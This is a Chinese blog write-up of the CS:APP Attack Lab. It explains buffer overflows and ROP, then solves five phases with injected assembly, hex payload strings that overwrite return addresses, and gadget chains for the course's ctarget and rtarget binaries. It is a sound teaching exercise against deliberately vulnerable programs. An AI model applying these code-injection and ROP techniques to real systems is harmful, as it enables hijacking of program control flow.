计算机系统lab4_attack lab

Attack lab

个人博客地址

实验概括

要求你进行五次攻击。攻击方式是code injection代码注入和Reeturn-oriented programming(ROP)

文件列表:

文件用途
ctarget用来做Code injection攻击的程序,phase1-3
rtarget用来做ROP攻击的程序,phase 4-5
cookie.txt作为攻击的标识符
hex2raw用来生成工具字符串
farm.c用于生成面向返回的编程攻击

预备知识——缓冲区溢出

缓冲区溢出的基本原理并不复杂。缓冲区就是操作系统为函数执行专门划分出的一段内存,包括栈(自动变量)、堆(动态内存)和静态数据区(全局或静态)。其中缓冲区溢出发生在栈里,栈存放了函数的参数、返回地址、EBP(EBP是当前函数的存取指针,即存储或者读取数时的指针基地址,可以看成一个标准的函数起始代码)和局部变量。

当函数中对局部变量的赋值超过了为其分配的存储空间,超出的部分就会覆盖栈里其他部分的数据,也就是发生了缓冲区溢出

img

img

预备知识——ROP攻击

ROP攻击

缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式。

(1)栈随机化

栈随机化的思想使得栈的位置在程序每次运行时都有变化。因此,即使许多机器都运行同样的代码,它们的栈地址都是不同的。上述3个阶段中,栈的地址是固定的,所以我们可以获取到栈的地址,并跳转到栈的指定位置。

(2)栈破坏检测

最近的GCC版本在产生的代码加入了一种栈保护者机制,来检测缓冲区越界。其思想是在栈帧中任何局部缓冲区和栈状态之间存储一个特殊的金丝雀值。在恢复寄存器状态和从函数返回之前,程序检查这个金丝雀值是否被该函数的某个操作或者该函数调用的某个操作改变了。如果是的,那么程序异常中止。

(3)限制可执行代码区域

最后一招是消除攻击者向系统中插入可执行代码的能力。一种方法是限制哪些内存区域能够存放可执行代码。

在ROP攻击中,因为栈上限制了不可插入可执行代码,所以不能像上述第二、第三阶段中插入代码。所以我们需要在已经存在的程序中找到特定的指令序列,并且这些指令是以ret结尾,这一段指令序列,我们称之为gadget

每一段gadget包含一系列指令字节,而且以ret结尾,跳转到下一个gadget,就这样连续的执行一系列的指令代码,对程序造成攻击。

示例

void setval_210(unsigned *p)
{
  *p = 3347663060U;
}

对于上述代码,进行反汇编我们可以得到如下的执行序列,从中我们一个得到一个有趣指令序列:

0000000000400f15 <setval_210>:
  400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
  400f1b: c3 retq

其中,字节序列48 89 c7是对指令movq %rax, %rdi的编码,就这样我们可以利用已经存在的程序,从中提取出特定的指令,执行特定的功能,地址为0x400f18,其功能是将%rax的内容移到%rdi

指令的编码如下所示:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EKlnpPKi-1643207545641)(Attack_lab_img/1433829-d6312f1ce53cf044.png)]

movq指令编码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2zH1IS1e-1643207545642)(Attack_lab_img/1433829-2a663eb32fae331a.png)]

popq指令编码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VAdyiS15-1643207545642)(Attack_lab_img/1433829-c713c395456655fa.png)]

movl指令编码

img

实验开始

1) phase1

  • 任务目标

    让getbuf()函数返回touch1()

  • 实验步骤

    首先对ctarget进行gdb调试

    然后对getbuf 进行反汇编

    image-20210330205208407

    对touch1进行反汇编

    image-20210330205255616

    可知getbuf()开辟了0x28,即40字节的空间,返回地址存在%rsp+0x28的地址,

    而touch1的初始地址为0x004017c0

    所以当我们存入缓冲区的数据,即touch1的初始地址可以覆盖这个返回地址时,我们就可以成功返回touch1了

    攻击序列设置:

    00 00 00 00 00 00 00 00 00 00

    00 00 00 00 00 00 00 00 00 00

    00 00 00 00 00 00 00 00 00 00

    00 00 00 00 00 00 00 00 00 00

    c0 17 40 00 00 00 00 00

    以小端方式存储于1.txt中

    用hex2raw转化为字符串,执行命令

    ./hex2raw <1.txt >2.txt
    

    再执行

    ./ctarget -qi 2.txt
    

    image-20210330210214612

2) phase2

  • 任务要求

    要求程序执行完getbuf()后,执行touch2,而且还要传入参数,即你的cookie

  • 实验步骤

    反汇编查看touch2地址

    image-20210330211924002

    要求我们把参数设置为cookie,即把%rdi的值改为cookie,再执行touch2. 即ret touch2的地址。

    转化为汇编代码保存在1.s中,

    movq $0x59b997fa,%rdi
    pushq  $0x4017ec
    ret
    

    gcc -c 1.s -o 1.o指令转化为机器代码

    并将其反汇编,保存在2.txt中,2.txt如图

    image-20210331210915437

    利用gdb调试,进入getbuf函数里,查看%rsp的地址

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RsN1kicB-1643207545646)(Attack_lab_img/image-20210412193826843.png)]

    如上所示,我们获取到了%rsp的地址,结合上文所讲,可以构造出如下字符串,在栈的开始位置为注入代码的指令序列,然后填充满至40个字节,在接下来的8个字节,也就是原来的返回地址,填充成注入代码的起始地址,也就是%rsp的地址,可以得到如下字符串,保存在1.txt中

    image-20210331211305114

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EpE81n3C-1643207545647)(Attack_lab_img/1433829-fa485a0533812b76.png)]

    利用raw2hex转化为字符串

    ./hex2raw <1.txt> 2.txt
    

    再执行

    ./ctarget -qi 2.txt
    

    image-20210331211454524

3) phase3

  • 任务要求

    第三阶段,也是需要在输入的字符串中注入一段代码,但是不同于第二阶段的是,在这一阶段中我们需要将cookie转化为字符串作为参数。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W5wE9HwP-1643207545647)(Attack_lab_img/image-20210412202523955.png)]

  • 实验步骤

    我们首先构造注入代码,touch3的地址为0x4018fa,根据上一关我们已经得到的%rsp地址0x5561dc78,返回地址应为%rsp+0x28(保存代码执行地址的位置),然后字符串地址应为%rsp+0x30(48),即0x5561dca0.

    所以注入代码为,保存在cs.s中

    movq $0x5561dc98,%rdi                                                                                     
    pushq $0x004018fa
    retq
    

    汇编和反汇编

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ygPN2fnj-1643207545648)(Attack_lab_img/image-20210412203205921.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gqVgm4ZW-1643207545648)(Attack_lab_img/image-20210412203220388.png)]

    利用man ascii将cookie转化为16进制

    35 39 62 39 39 37 66 61 00
    

    所以,注入序列为:

    48 c7 c7 a8 dc 61 55 68 fa 18 
    40 00 c3 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00 35 39
    62 39 39 37 66 61 00
    

    将其保存在touch_3.txt中,执行指令,可得:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eEIkgy4J-1643207545649)(Attack_lab_img/image-20210412203956357.png)]

4) phase4

  • 任务要求

    在这一阶段中,我们其实是重复代码注入攻击中第二阶段的任务,劫持程序流,返回到touch2函数。只不过这个我们要做的是ROP攻击,这一阶段我们无法再像上一阶段中将指令序列放入到栈中,所以我们需要到现有的程序中,找到我们需要的指令序列。

  • 实验步骤

    我们需要的代码序列:

    popq %rax
    movq %rax, %rdi
    

    其指令编码为:

    58
    48 89 c7
    

    在rtarget的反汇编代码中查找

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lxktkcol-1643207545649)(Attack_lab_img/image-20210412211719953.png)]

    所以popq %rax指令起始地址为:0x4019ab

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dDJ3RSpd-1643207545649)(Attack_lab_img/image-20210412211839599.png)]

    所以movq %rax, %rdi指令起始地址为:0x4019a2

    所以得到字符串,保存在touch_4中:

    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    ab 19 40 00 00 00 00 00
    fa 97 b9 59 00 00 00 00
    a2 19 40 00 00 00 00 00
    ec 17 40 00 00 00 00 00
    

    执行指令:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6F8gWQrh-1643207545650)(Attack_lab_img/image-20210412212407837.png)]

5) phase5

  • 任务要求

    在这一阶段中,我们需要做的就是把字符串的起始地址,传送到%rdi,然后调用touch3函数。

    因为每次栈的位置是随机的,所以无法直接用地址来索引字符串的起始地址,只能用栈顶地址 + 偏移量来索引字符串的起始地址。从farm中我们可以获取到这样一个gadgetlea (%rdi,%rsi,1),%rax,这样就可以把字符串的首地址传送到%rax

  • 实验步骤

    解题思路:

    (1)首先获取到%rsp的地址,并且传送到%rdi
    (2)其二获取到字符串的偏移量值,并且传送到%rsi
    (3)lea (%rdi,%rsi,1),%rax, 将字符串的首地址传送到%rax, 再传送到%rdi
    (4)调用touch3函数

(1) 第一步,获取到%rsp的地址

0000000000401a03 <addval_190>:
  401a03: 8d 87 41 48 89 e0     lea    -0x1f76b7bf(%rdi),%eax
  401a09: c3  

movq %rsp, %rax的指令字节为:48 89 e0, 所以这一步的gadget地址为:0x401a06

(2) 第二步,将%rax的内容传送到%rdi

00000000004019a0 <addval_273>:
  4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax
  4019a6: c3

movq %rax, %rdi的指令字节为:48 89 c7,所以这一步的gadget地址为:0x4019a2

(3) 第三步,将偏移量的内容弹出到%rax

00000000004019ca <getval_280>:
  4019ca: b8 29 58 90 c3        mov    $0xc3905829,%eax
  4019cf: c3   

popq %rax的指令字节为:58, 其中90nop指令, 所以这一步的gadget地址为:0x4019cc

(4) 第四步,将%eax的内容传送到%edx

00000000004019db <getval_481>:
  4019db: b8 5c 89 c2 90        mov    $0x90c2895c,%eax
  4019e0: c3    

movl %eax, %edx的指令字节为:89 c2, 所以这一步的gadget地址为:0x4019dd

(5) 第五步,将%edx的内容传送到%ecx

0000000000401a6e <setval_167>:
  401a6e: c7 07 89 d1 91 c3     movl   $0xc391d189,(%rdi)
  401a74: c3  

movl %edx, %ecx的指令字节为:89 d1,所以这一步的gadget地址为:0x401a70

(6) 第六步,将%ecx的内容传送到%esi

0000000000401a11 <addval_436>:
  401a11: 8d 87 89 ce 90 90     lea    -0x6f6f3177(%rdi),%eax
  401a17: c3                    retq 

movl %ecx, %esi的指令字节为:89 ce, 所以这一步gadget地址为:0x401a13

(7) 第七步,将栈顶 + 偏移量得到字符串的首地址传送到%rax

00000000004019d6 <add_xy>:
  4019d6: 48 8d 04 37           lea    (%rdi,%rsi,1),%rax
  4019da: c3                    retq 

这一步的gadget地址为:0x4019d6

(8) 将字符串首地址%rax传送到%rdi

00000000004019a0 <addval_273>:
  4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax
  4019a6: c3

movq %rax, %rdi的指令字节为:48 89 c7,所以这一步的gadget地址为:0x4019a2

整个栈的结构如下:

img

所以要输入的字符串为:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00 
70 1a 40 00 00 00 00 00 
13 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61 00

保存在touch_5.txt中,执行指令:

image-20210412213042512

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值